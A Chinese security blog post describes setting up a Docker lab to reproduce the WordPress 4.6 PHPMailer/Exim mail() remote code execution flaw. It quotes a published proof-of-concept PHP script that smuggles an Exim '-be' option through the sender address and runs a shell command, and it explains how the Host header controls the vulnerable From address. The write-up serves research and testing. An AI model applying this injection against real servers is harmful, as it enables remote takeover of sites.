首页 > 渗透测试 > wordpress 4.6远程代码执行漏洞环境搭建
2017
05-05

wordpress 4.6远程代码执行漏洞环境搭建

这篇文章主要是记录下搭建漏洞测试环境的过程,然而从中午开始,断断续续的一直折腾到凌晨,只是搭建了成功了本地能复现的环境,并没有实现远程复现。

究其原因,主要是固执到一直想用daocloud来搭建测试环境,坑好多,花了太多时间来填坑了,记录下过程。

docker pull wordpress:4.6-php5.6-apache
docker pull daocloud.io/library/mysql:5.7

docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=xxxx -e MYSQL_DATABASE=wdpress -d daocloud.io/library/mysql:5.7

#启动1个名称为wordpress的容器,链接了some-mysql容器用来存储数据,并指定了some-mysql容器中有关数据库的一些配置
docker run --name wordpress --link some-mysql:mysql -p 80:80 -e WORDPRESS_DB_NAME=wdpress -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=xxxx -d wordpress:4.6-php5.6-apache

以上环境可以安装成功wordpress,蛋疼的是使用密码重置功能,一直提示mail()函数可能被禁用。主要问题是没有配置sendmail_path的地方.

apt-get install exim4

安装exim4之后,还是find不到sendmail,折腾很久之后果断放弃了用daocloud。接着使用了网易蜂巢,直接pull了官方推荐的lamp镜像,运行容器之后,接着安装了exim4,然后发现了如图所示:

wordpress 4.6远程代码执行漏洞环境搭建 - 第1张  | 阿德马Web安全

不需要做其它的配置,就可以成功使用wordpress的密码重置功能,接着用php mail()远程代码执行漏洞paper中给出的本地测试脚本,可以成功复现:

 
<?php                                                                                                
// RCE via mail() vector on Exim4 MTA                                                                
// Attacker's cmd is passed on STDIN by mail() within $body                                          
// Discovered by:                                                                                    
// Dawid Golunski - @dawid_golunski - https://legalhackers.com                                       
                                                                                                     
        $sender = "nxadmin@anyhost -be";                                                            
        $body   = 'Exec: ${run{/bin/bash -c "/usr/bin/id>/tmp/nxadmin"}{yes}{no}}';                       
        // ^ unfiltered vars, coming from attacker via GET, POST etc.                                
                                                                                                     
        $to = "john@localhost";                                                                      
        $subject = "Exim RCE PoC";                                                                   
        $headers = "From: s1ma@localhost";                                                           
                                                                                                     
        mail($to,$subject,$body,$headers, "-f $sender ");                                            
?>

会创建/tmp/nxadmin文件,其中有/usr/bin/id命令的执行结果,如图:

wordpress 4.6远程代码执行漏洞环境搭建 - 第2张  | 阿德马Web安全

本地测试成功了,远程复现的话可能还需要满足SERVER_NAME有关的条件,明天继续!

根据看老外写的文章,翻译理解了下漏洞的产生原因。Wordpress 4.6密码找回功能使用了phpmailer的setFrom()函数,这个东西近期爆出过漏洞,老外写的paper:

https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

wordpress 4.6受影响的文件wp-includes/pluggable.php代码片段如下:

      if ( !isset( $from_email ) ) {
              // Get the site domain and get rid of www.
              $sitename = strtolower( $_SERVER['SERVER_NAME'] );
              if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                      $sitename = substr( $sitename, 4 );
              }
              $from_email = 'wordpress@' . $sitename;
      }

      /**
       * Filters the name to associate with the "from" email address.
       *
       * @since 2.3.0
       *
       * @param string $from_name Name associated with the "from" email address.
       */
      $from_name = apply_filters( 'wp_mail_from_name', $from_name );

      $phpmailer->setFrom( $from_email, $from_name );

上面代码中sitename是由 php预定义变量$_SERVER参数获取的,具体的SERVER_NAME是指当前运行脚本所在服务器的主机名称。发现其实SERVER_NAME是攻击者可以控制的,以下面的代码为例:

<?php                                                                                                
$sitename = strtolower( $_SERVER['SERVER_NAME'] );                                                   
echo $sitename                                                                                       
?>

上面代码是获取SERVER_NAME,保存成php,用curl访问,如图所示:

wordpress 4.6远程代码执行漏洞环境搭建 - 第3张  | 阿德马Web安全

发现可以通过http头部的HOST来控制$sitename参数的值,从而最终将恶意代码传递给wordpress 的setFrom()函数,最终导致漏洞的产生。

————————–5月5号更新————————————–

P牛已经做出了测试环境用的docker,并且写好了利用的exp,用我搭建的环境亲测可以成功,如图:

wordpress 4.6远程代码执行漏洞环境搭建 - 第4张  | 阿德马Web安全

p牛写的利用脚本经过了实践的检验,6666,膜拜p牛!附上p牛制作的docker漏洞环境url:

https://github.com/phith0n/vulhub/tree/master/wordpress/phpmailer-rce

 

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。